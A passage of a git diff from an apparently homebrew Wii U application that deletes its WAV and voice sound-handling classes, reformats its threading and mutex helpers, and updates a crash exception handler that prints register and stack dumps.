- memset(¶ms, 0, sizeof(params)); - params.renderer = AX_INIT_RENDERER_48KHZ; - - // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it - //if(AXInitWithParams != 0) - AXInitWithParams(¶ms); - //else - // AXInit(); - - // The problem with last voice on 500 was caused by it having priority 0 - // We would need to change this priority distribution if for some reason - // we would need MAX_DECODERS > Voice::PRIO_MAX - for(u32 i = 0; i < MAX_DECODERS; ++i) - { - int priority = (MAX_DECODERS - i) * Voice::PRIO_MAX / MAX_DECODERS; - voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority - } - - AXRegisterAppFrameCallback(SoundHandler::axFrameCallback); - - - u16 i = 0; - while (!ExitRequested) - { - suspendThread(); - - for(i = 0; i < MAX_DECODERS; ++i) - { - if(DecoderList[i] == NULL) - continue; - - Decoding = true; - if(DecoderList[i]) - DecoderList[i]->Lock(); - if(DecoderList[i]) - DecoderList[i]->Decode(); - if(DecoderList[i]) - DecoderList[i]->Unlock(); - } - Decoding = false; - } - - for(u32 i = 0; i < MAX_DECODERS; ++i) - voiceList[i]->stop(); - - AXRegisterAppFrameCallback(NULL); - AXQuit(); - - for(u32 i = 0; i < MAX_DECODERS; ++i) - { - delete voiceList[i]; - voiceList[i] = NULL; - } -} - -void SoundHandler::axFrameCallback(void) -{ - for (u32 i = 0; i < MAX_DECODERS; i++) - { - Voice *voice = handlerInstance->getVoice(i); - - switch (voice->getState()) - { - default: - case Voice::STATE_STOPPED: - break; - - case Voice::STATE_START: { - SoundDecoder * decoder = handlerInstance->getDecoder(i); - decoder->Lock(); - if(decoder->IsBufferReady()) - { - const u8 *buffer = decoder->GetBuffer(); - const u32 bufferSize = decoder->GetBufferSize(); - decoder->LoadNext(); - - const u8 *nextBuffer = NULL; - u32 nextBufferSize = 0; - - if(decoder->IsBufferReady()) - { - nextBuffer = decoder->GetBuffer(); - nextBufferSize = decoder->GetBufferSize(); - decoder->LoadNext(); - } - - voice->play(buffer, bufferSize, nextBuffer, nextBufferSize, decoder->GetFormat() & 0xff, decoder->GetSampleRate()); - - handlerInstance->ThreadSignal(); - - voice->setState(Voice::STATE_PLAYING); - } - decoder->Unlock(); - break; - } - case Voice::STATE_PLAYING: - if(voice->getInternState() == 1) - { - if(voice->isBufferSwitched()) - { - SoundDecoder * decoder = handlerInstance->getDecoder(i); - decoder->Lock(); - if(decoder->IsBufferReady()) - { - voice->setNextBuffer(decoder->GetBuffer(), decoder->GetBufferSize()); - decoder->LoadNext(); - handlerInstance->ThreadSignal(); - } - else if(decoder->IsEOF()) - { - voice->setState(Voice::STATE_STOP); - } - decoder->Unlock(); - } - } - else - { - voice->setState(Voice::STATE_STOPPED); - } - break; - case Voice::STATE_STOP: - if(voice->getInternState() != 0) - voice->stop(); - voice->setState(Voice::STATE_STOPPED); - break; - } - } -} diff --git a/src/sounds/SoundHandler.hpp b/src/sounds/SoundHandler.hpp deleted file mode 100644 index f793332..0000000 --- a/src/sounds/SoundHandler.hpp +++ /dev/null @@ -1,78 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#ifndef SOUNDHANDLER_H_ -#define SOUNDHANDLER_H_ - -#include -#include "common/types.h" -#include "system/CThread.h" -#include "SoundDecoder.hpp" -#include "Voice.h" - -#define MAX_DECODERS 16 // can be increased up to 96 - -class SoundHandler : public CThread -{ -public: - static SoundHandler * instance() { - if (!handlerInstance) - handlerInstance = new SoundHandler(); - return handlerInstance; - } - - static void DestroyInstance() { delete handlerInstance; handlerInstance = NULL; } - - void AddDecoder(int voice, const char * filepath); - void AddDecoder(int voice, const u8 * snd, int len); - void RemoveDecoder(int voice); - - SoundDecoder * getDecoder(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : DecoderList[i]); }; - Voice * getVoice(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : voiceList[i]); }; - - void ThreadSignal() { resumeThread(); }; - bool IsDecoding() { return Decoding; }; -protected: - SoundHandler(); - ~SoundHandler(); - - static void axFrameCallback(void); - - void executeThread(void); - void ClearDecoderList(); - - SoundDecoder * GetSoundDecoder(const char * filepath); - SoundDecoder * GetSoundDecoder(const u8 * sound, int length); - - static SoundHandler * handlerInstance; - - bool Decoding; - bool ExitRequested; - - Voice * voiceList[MAX_DECODERS]; - SoundDecoder * DecoderList[MAX_DECODERS]; -}; - -#endif diff --git a/src/sounds/Voice.h b/src/sounds/Voice.h deleted file mode 100644 index ceb4ad7..0000000 --- a/src/sounds/Voice.h +++ /dev/null @@ -1,164 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef _AXSOUND_H_ -#define _AXSOUND_H_ - -#include -#include - -class Voice -{ -public: - - enum VoicePriorities - { - PRIO_MIN = 1, - PRIO_MAX = 31 - }; - - enum VoiceStates - { - STATE_STOPPED, - STATE_START, - STATE_PLAYING, - STATE_STOP, - }; - - Voice(int prio) - : state(STATE_STOPPED) - { - lastLoopCounter = 0; - nextBufferSize = 0; - - voice = AXAcquireVoice(prio, 0, 0); - if(voice) - { - AXSetVoiceType(voice, 0); - setVolume(0x80000000); - - AXVoiceDeviceMixData mix[6]; - memset(mix, 0, sizeof(mix)); - mix[0].bus[0].volume = 0x8000; - mix[0].bus[0].delta = 0; - mix[1].bus[0].volume = 0x8000; - mix[1].bus[0].delta = 0; - - AXSetVoiceDeviceMix(voice, 0, 0, mix); - AXSetVoiceDeviceMix(voice, 1, 0, mix); - } - } - - ~Voice() - { - if(voice) - { - AXFreeVoice(voice); - } - } - - void play(const u8 *buffer, u32 bufferSize, const u8 *nextBuffer, u32 nextBufSize, u16 format, u32 sampleRate) - { - if(!voice) - return; - - memset(&voiceBuffer, 0, sizeof(voiceBuffer)); - - voiceBuffer.data = buffer; - voiceBuffer.dataType = format; - voiceBuffer.loopingEnabled = (nextBuffer == NULL) ? 0 : 1; - voiceBuffer.currentOffset = 0; - voiceBuffer.endOffset = (bufferSize >> 1) - 1; - voiceBuffer.loopOffset = ((nextBuffer - buffer) >> 1); - nextBufferSize = nextBufSize; - - // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it - //u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; - u32 samplesPerSec = AXGetInputSamplesPerSec(); - - memset(&ratioBits, 0, sizeof(ratioBits)); - ratioBits.ratio = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); - - AXSetVoiceOffsets(voice, &voiceBuffer); - AXSetVoiceSrc(voice, &ratioBits); - AXSetVoiceSrcType(voice, 1); - AXSetVoiceState(voice, 1); - } - - void stop() - { - if(voice) - AXSetVoiceState(voice, 0); - } - - void setVolume(u32 vol) - { - if(voice) - { - AXVoiceVeData data; - data.volume = vol >> 16; - data.delta = vol & 0xFFFF; - AXSetVoiceVe(voice, &data); - } - } - - - void setNextBuffer(const u8 *buffer, u32 bufferSize) - { - voiceBuffer.loopOffset = ((buffer - (const u8*)voiceBuffer.data) >> 1); - nextBufferSize = bufferSize; - - AXSetVoiceLoopOffset(voice, voiceBuffer.loopOffset); - } - - bool isBufferSwitched() - { - u32 loopCounter = AXGetVoiceLoopCount(voice); - if(lastLoopCounter != loopCounter) - { - lastLoopCounter = loopCounter; - AXSetVoiceEndOffset(voice, voiceBuffer.loopOffset + (nextBufferSize >> 1) - 1); - return true; - } - return false; - } - - u32 getInternState() const { - if(voice) - return ((u32 *)voice)[1]; - return 0; - } - u32 getState() const { - return state; - } - void setState(u32 s) { - state = s; - } - - void * getVoice() const { - return voice; - } - -private: - AXVoice *voice; - AXVoiceSrc ratioBits; - AXVoiceOffsets voiceBuffer; - u32 state; - u32 nextBufferSize; - u32 lastLoopCounter; -}; - -#endif // _AXSOUND_H_ diff --git a/src/sounds/WavDecoder.cpp b/src/sounds/WavDecoder.cpp deleted file mode 100644 index f241df0..0000000 --- a/src/sounds/WavDecoder.cpp +++ /dev/null @@ -1,154 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include "WavDecoder.hpp" -#include "utils/utils.h" - -WavDecoder::WavDecoder(const char * filepath) - : SoundDecoder(filepath) -{ - SoundType = SOUND_WAV; - SampleRate = 48000; - Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; - - if(!file_fd) - return; - - OpenFile(); -} - -WavDecoder::WavDecoder(const u8 * snd, int len) - : SoundDecoder(snd, len) -{ - SoundType = SOUND_WAV; - SampleRate = 48000; - Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; - - if(!file_fd) - return; - - OpenFile(); -} - -WavDecoder::~WavDecoder() -{ -} - - -void WavDecoder::OpenFile() -{ - SWaveHdr Header; - SWaveFmtChunk FmtChunk; - memset(&Header, 0, sizeof(SWaveHdr)); - memset(&FmtChunk, 0, sizeof(SWaveFmtChunk)); - - file_fd->read((u8 *) &Header, sizeof(SWaveHdr)); - file_fd->read((u8 *) &FmtChunk, sizeof(SWaveFmtChunk)); - - if (Header.magicRIFF != 0x52494646) // 'RIFF' - { - CloseFile(); - return; - } - else if(Header.magicWAVE != 0x57415645) // 'WAVE' - { - CloseFile(); - return; - } - else if(FmtChunk.magicFMT != 0x666d7420) // 'fmt ' - { - CloseFile(); - return; - } - - DataOffset = sizeof(SWaveHdr)+le32(FmtChunk.size)+8; - file_fd->seek(DataOffset, SEEK_SET); - SWaveChunk DataChunk; - file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); - - while(DataChunk.magicDATA != 0x64617461) // 'data' - { - DataOffset += 8+le32(DataChunk.size); - file_fd->seek(DataOffset, SEEK_SET); - int ret = file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); - if(ret <= 0) - { - CloseFile(); - return; - } - } - - DataOffset += 8; - DataSize = le32(DataChunk.size); - Is16Bit = (le16(FmtChunk.bps) == 16); - SampleRate = le32(FmtChunk.freq); - - if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 1) - Format = CHANNELS_MONO | FORMAT_PCM_8_BIT; - else if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 2) - Format = CHANNELS_MONO | FORMAT_PCM_16_BIT; - else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 2) - Format = CHANNELS_STEREO | FORMAT_PCM_8_BIT; - else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 4) - Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; -} - -void WavDecoder::CloseFile() -{ - if(file_fd) - delete file_fd; - - file_fd = NULL; -} - -int WavDecoder::Read(u8 * buffer, int buffer_size, int pos) -{ - if(!file_fd) - return -1; - - if(CurPos >= (int) DataSize) - return 0; - - file_fd->seek(DataOffset+CurPos, SEEK_SET); - - if(buffer_size > (int) DataSize-CurPos) - buffer_size = DataSize-CurPos; - - int read = file_fd->read(buffer, buffer_size); - if(read > 0) - { - if (Is16Bit) - { - read &= ~0x0001; - - for (u32 i = 0; i < (u32) (read / sizeof (u16)); ++i) - ((u16 *) buffer)[i] = le16(((u16 *) buffer)[i]); - } - CurPos += read; - } - - return read; -} diff --git a/src/sounds/WavDecoder.hpp b/src/sounds/WavDecoder.hpp deleted file mode 100644 index 5981883..0000000 --- a/src/sounds/WavDecoder.hpp +++ /dev/null @@ -1,71 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#ifndef WAVDECODER_HPP_ -#define WAVDECODER_HPP_ - -#include "SoundDecoder.hpp" - -typedef struct -{ - u32 magicRIFF; - u32 size; - u32 magicWAVE; -} SWaveHdr; - -typedef struct -{ - u32 magicFMT; - u32 size; - u16 format; - u16 channels; - u32 freq; - u32 avgBps; - u16 alignment; - u16 bps; -} SWaveFmtChunk; - -typedef struct -{ - u32 magicDATA; - u32 size; -} SWaveChunk; - -class WavDecoder : public SoundDecoder -{ - public: - WavDecoder(const char * filepath); - WavDecoder(const u8 * snd, int len); - virtual ~WavDecoder(); - int Read(u8 * buffer, int buffer_size, int pos); - protected: - void OpenFile(); - void CloseFile(); - u32 DataOffset; - u32 DataSize; - bool Is16Bit; -}; - -#endif diff --git a/src/system/AsyncDeleter.cpp b/src/system/AsyncDeleter.cpp index 7776989..e6533b6 100644 --- a/src/system/AsyncDeleter.cpp +++ b/src/system/AsyncDeleter.cpp @@ -19,28 +19,23 @@ AsyncDeleter * AsyncDeleter::deleterInstance = NULL; AsyncDeleter::AsyncDeleter() - : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff) - , exitApplication(false) -{ + : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff) + , exitApplication(false) { } -AsyncDeleter::~AsyncDeleter() -{ +AsyncDeleter::~AsyncDeleter() { exitApplication = true; } -void AsyncDeleter::triggerDeleteProcess(void) -{ +void AsyncDeleter::triggerDeleteProcess(void) { if(!deleterInstance) deleterInstance = new AsyncDeleter; //! to trigger the event after GUI process is finished execution //! this function is used to swap elements from one to next array - if(!deleterInstance->deleteElements.empty()) - { + if(!deleterInstance->deleteElements.empty()) { deleterInstance->deleteMutex.lock(); - while(!deleterInstance->deleteElements.empty()) - { + while(!deleterInstance->deleteElements.empty()) { deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front()); deleterInstance->deleteElements.pop(); } @@ -49,16 +44,13 @@ void AsyncDeleter::triggerDeleteProcess(void) } } -void AsyncDeleter::executeThread(void) -{ - while(!exitApplication) - { +void AsyncDeleter::executeThread(void) { + while(!exitApplication) { suspendThread(); //! delete elements that require post process deleting //! because otherwise they would block or do invalid access on GUI thread - while(!realDeleteElements.empty()) - { + while(!realDeleteElements.empty()) { deleteMutex.lock(); AsyncDeleter::Element *element = realDeleteElements.front(); realDeleteElements.pop(); diff --git a/src/system/AsyncDeleter.h b/src/system/AsyncDeleter.h index 5497ad2..dd8f834 100644 --- a/src/system/AsyncDeleter.h +++ b/src/system/AsyncDeleter.h @@ -21,24 +21,20 @@ #include "CThread.h" #include "CMutex.h" -class AsyncDeleter : public CThread -{ +class AsyncDeleter : public CThread { public: - static void destroyInstance() - { + static void destroyInstance() { delete deleterInstance; deleterInstance = NULL; } - class Element - { + class Element { public: Element() {} virtual ~Element() {} }; - static void pushForDelete(AsyncDeleter::Element *e) - { + static void pushForDelete(AsyncDeleter::Element *e) { if(!deleterInstance) deleterInstance = new AsyncDeleter; diff --git a/src/system/CMutex.h b/src/system/CMutex.h index fecd54c..b1ec2a7 100644 --- a/src/system/CMutex.h +++ b/src/system/CMutex.h @@ -20,8 +20,7 @@ #include #include -class CMutex -{ +class CMutex { public: CMutex() { pMutex = (OSMutex*) malloc(sizeof(OSMutex)); @@ -53,8 +52,7 @@ private: OSMutex *pMutex; }; -class CMutexLock -{ +class CMutexLock { public: CMutexLock() { mutex.lock(); diff --git a/src/system/CThread.h b/src/system/CThread.h index 81d8ac2..04cea7d 100644 --- a/src/system/CThread.h +++ b/src/system/CThread.h @@ -21,99 +21,118 @@ #include #include -class CThread -{ +class CThread { public: - typedef void (* Callback)(CThread *thread, void *arg); + typedef void (* Callback)(CThread *thread, void *arg); - //! constructor - CThread(int iAttr, int iPriority = 16, int iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL) - : pThread(NULL) - , pThreadStack(NULL) - , pCallback(callback) - , pCallbackArg(callbackArg) - { - //! save attribute assignment - iAttributes = iAttr; - //! allocate the thread - pThread = (OSThread*)memalign(8, sizeof(OSThread)); - //! allocate the stack - pThreadStack = (u8 *) memalign(0x20, iStackSize); + //! constructor + CThread(int iAttr, int iPriority = 16, int iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL) + : pThread(NULL) + , pThreadStack(NULL) + , pCallback(callback) + , pCallbackArg(callbackArg) { + //! save attribute assignment + iAttributes = iAttr; + //! allocate the thread + pThread = (OSThread*)memalign(8, sizeof(OSThread)); + //! allocate the stack + pThreadStack = (uint8_t *) memalign(0x20, iStackSize); //! create the thread - if(pThread && pThreadStack) + if(pThread && pThreadStack) OSCreateThread(pThread, &CThread::threadCallback, 1, (char*)this, pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); - } + } - //! destructor - virtual ~CThread() { shutdownThread(); } + //! destructor + virtual ~CThread() { + shutdownThread(); + } - static CThread *create(CThread::Callback callback, void *callbackArg, int iAttr = eAttributeNone, int iPriority = 16, int iStackSize = 0x8000) - { - return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) ); - } + static CThread *create(CThread::Callback callback, void *callbackArg, int iAttr = eAttributeNone, int iPriority = 16, int iStackSize = 0x8000) { + return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) ); + } - //! Get thread ID - virtual void* getThread() const { return pThread; } - //! Thread entry function - virtual void executeThread(void) - { - if(pCallback) + //! Get thread ID + virtual void* getThread() const { + return pThread; + } + //! Thread entry function + virtual void executeThread(void) { + if(pCallback) pCallback(this, pCallbackArg); - } - //! Suspend thread - virtual void suspendThread(void) { if(isThreadSuspended()) return; if(pThread) OSSuspendThread(pThread); } - //! Resume thread - virtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pThread) OSResumeThread(pThread); } - //! Set thread priority - virtual void setThreadPriority(int prio) { if(pThread) OSSetThreadPriority(pThread, prio); } - //! Check if thread is suspended - virtual bool isThreadSuspended(void) const { if(pThread) return OSIsThreadSuspended(pThread); return false; } - //! Check if thread is terminated - virtual bool isThreadTerminated(void) const { if(pThread) return OSIsThreadTerminated(pThread); return false; } - //! Check if thread is running - virtual bool isThreadRunning(void) const { return !isThreadSuspended() && !isThreadRunning(); } - //! Shutdown thread - virtual void shutdownThread(void) - { - //! wait for thread to finish - if(pThread && !(iAttributes & eAttributeDetach)) - { - if(isThreadSuspended()) + } + //! Suspend thread + virtual void suspendThread(void) { + if(isThreadSuspended()) + return; + if(pThread) + OSSuspendThread(pThread); + } + //! Resume thread + virtual void resumeThread(void) { + if(!isThreadSuspended()) + return; + if(pThread) + OSResumeThread(pThread); + } + //! Set thread priority + virtual void setThreadPriority(int prio) { + if(pThread) + OSSetThreadPriority(pThread, prio); + } + //! Check if thread is suspended + virtual bool isThreadSuspended(void) const { + if(pThread) + return OSIsThreadSuspended(pThread); + return false; + } + //! Check if thread is terminated + virtual bool isThreadTerminated(void) const { + if(pThread) + return OSIsThreadTerminated(pThread); + return false; + } + //! Check if thread is running + virtual bool isThreadRunning(void) const { + return !isThreadSuspended() && !isThreadRunning(); + } + //! Shutdown thread + virtual void shutdownThread(void) { + //! wait for thread to finish + if(pThread && !(iAttributes & eAttributeDetach)) { + if(isThreadSuspended()) resumeThread(); - OSJoinThread(pThread, NULL); - } - //! free the thread stack buffer - if(pThreadStack) - free(pThreadStack); - if(pThread) - free(pThread); + OSJoinThread(pThread, NULL); + } + //! free the thread stack buffer + if(pThreadStack) + free(pThreadStack); + if(pThread) + free(pThread); - pThread = NULL; - pThreadStack = NULL; - } + pThread = NULL; + pThreadStack = NULL; + } //! Thread attributes - enum eCThreadAttributes - { - eAttributeNone = 0x07, - eAttributeAffCore0 = 0x01, - eAttributeAffCore1 = 0x02, - eAttributeAffCore2 = 0x04, - eAttributeDetach = 0x08, - eAttributePinnedAff = 0x10 - }; + enum eCThreadAttributes { + eAttributeNone = 0x07, + eAttributeAffCore0 = 0x01, + eAttributeAffCore1 = 0x02, + eAttributeAffCore2 = 0x04, + eAttributeDetach = 0x08, + eAttributePinnedAff = 0x10 + }; private: - static int threadCallback(int argc, const char **argv) - { - //! After call to start() continue with the internal function - ((CThread *) argv)->executeThread(); - return 0; - } + static int threadCallback(int argc, const char **argv) { + //! After call to start() continue with the internal function + ((CThread *) argv)->executeThread(); + return 0; + } int iAttributes; - OSThread *pThread; - u8 *pThreadStack; - Callback pCallback; - void *pCallbackArg; + OSThread *pThread; + uint8_t *pThreadStack; + Callback pCallback; + void *pCallbackArg; }; #endif diff --git a/src/system/exception_handler.c b/src/system/exception_handler.c index 9d8a66b..3038b3a 100644 --- a/src/system/exception_handler.c +++ b/src/system/exception_handler.c @@ -1,40 +1,7 @@ #include -#include "common/types.h" +#include #include "exception_handler.h" -#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 - -#define OS_EXCEPTION_DSI 2 -#define OS_EXCEPTION_ISI 3 -#define OS_EXCEPTION_PROGRAM 6 - -/* Exceptions */ -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; - - /* Only valid during DSI exception */ - uint32_t exception_specific0; - uint32_t exception_specific1; - - /* There is actually a lot more here but we don't need the rest*/ -} OSContext; - #include #include @@ -49,8 +16,8 @@ typedef struct OSContext }) typedef struct _framerec { - struct _framerec *up; - void *lr; + struct _framerec *up; + void *lr; } frame_rec, *frame_rec_t; static const char *exception_names[] = { @@ -60,24 +27,24 @@ static const char *exception_names[] = { }; static const char exception_print_formats[18][45] = { - "Exception type %s occurred!\n", // 0 - "GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1 - "GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2 - "GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3 - "GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4 - "GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5 - "GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6 - "GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7 - "GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8 - "LR %08X SRR0 %08x SRR1 %08x\n", // 9 - "DAR %08X DSISR %08X\n", // 10 - "\nSTACK DUMP:", // 11 - " --> ", // 12 - " -->\n", // 13 - "\n", // 14 - "%p", // 15 - "\nCODE DUMP:\n", // 16 - "%p: %08X %08X %08X %08X\n", // 17 + "Exception type %s occurred!\n", // 0 + "GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1 + "GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2 + "GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3 + "GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4 + "GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5 + "GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6 + "GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7 + "GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8 + "LR %08X SRR0 %08x SRR1 %08x\n", // 9 + "DAR %08X DSISR %08X\n", // 10 + "\nSTACK DUMP:", // 11 + " --> ", // 12 + " -->\n", // 13 + "\n", // 14 + "%p", // 15 + "\nCODE DUMP:\n", // 16 + "%p: %08X %08X %08X %08X\n", // 17 }; static unsigned char exception_cb(OSContext * context, unsigned char exception_type) { @@ -86,67 +53,67 @@ static unsigned char exception_cb(OSContext * context, unsigned char exception_t /* * This part is mostly from libogc. Thanks to the devs over there. */ - pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]); - pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]); - pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]); - pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]); - pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]); - pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]); - pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]); - pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]); - pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]); - pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1); + pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]); + pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]); + pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]); + pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]); + pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]); + pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]); + pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]); + pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]); + pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]); + pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1); - //if(exception_type == OS_EXCEPTION_DSI) { - pos += sprintf(buf + pos, exception_print_formats[10], context->exception_specific1, context->exception_specific0); // this freezes - //} + //if(exception_type == OS_EXCEPTION_DSI) { + pos += sprintf(buf + pos, exception_print_formats[10], context->dar, context->dsisr); // this freezes + //} void *pc = (void*)context->srr0; void *lr = (void*)context->lr; void *r1 = (void*)context->gpr[1]; - register uint32_t i = 0; - register frame_rec_t l,p = (frame_rec_t)lr; + register uint32_t i = 0; + register frame_rec_t l,p = (frame_rec_t)lr; - l = p; - p = r1; - if(!p) + l = p; + p = r1; + if(!p) asm volatile("mr %0,%%r1" : "=r"(p)); - pos += sprintf(buf + pos, exception_print_formats[11]); + pos += sprintf(buf + pos, exception_print_formats[11]); - for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) { - if(i % 4) + for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) { + if(i % 4) pos += sprintf(buf + pos, exception_print_formats[12]); - else { - if(i > 0) + else { + if(i > 0) pos += sprintf(buf + pos, exception_print_formats[13]); - else + else pos += sprintf(buf + pos, exception_print_formats[14]); - } + } - switch(i) { - case 0: - if(pc) - pos += sprintf(buf + pos, exception_print_formats[15],pc); - break; - case 1: - if(!l) - l = (frame_rec_t)mfspr(8); - pos += sprintf(buf + pos, exception_print_formats[15],(void*)l); - break; - default: - pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr)); - break; - } - } + switch(i) { + case 0: + if(pc) + pos += sprintf(buf + pos, exception_print_formats[15],pc); + break; + case 1: + if(!l) + l = (frame_rec_t)mfspr(8); + pos += sprintf(buf + pos, exception_print_formats[15],(void*)l); + break; + default: + pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr)); + break; + } + } - //if(exception_type == OS_EXCEPTION_DSI) { - uint32_t *pAdd = (uint32_t*)context->srr0; - pos += sprintf(buf + pos, exception_print_formats[16]); - // TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen - for (i = 0; i < 8; i += 4) - pos += sprintf(buf + pos, 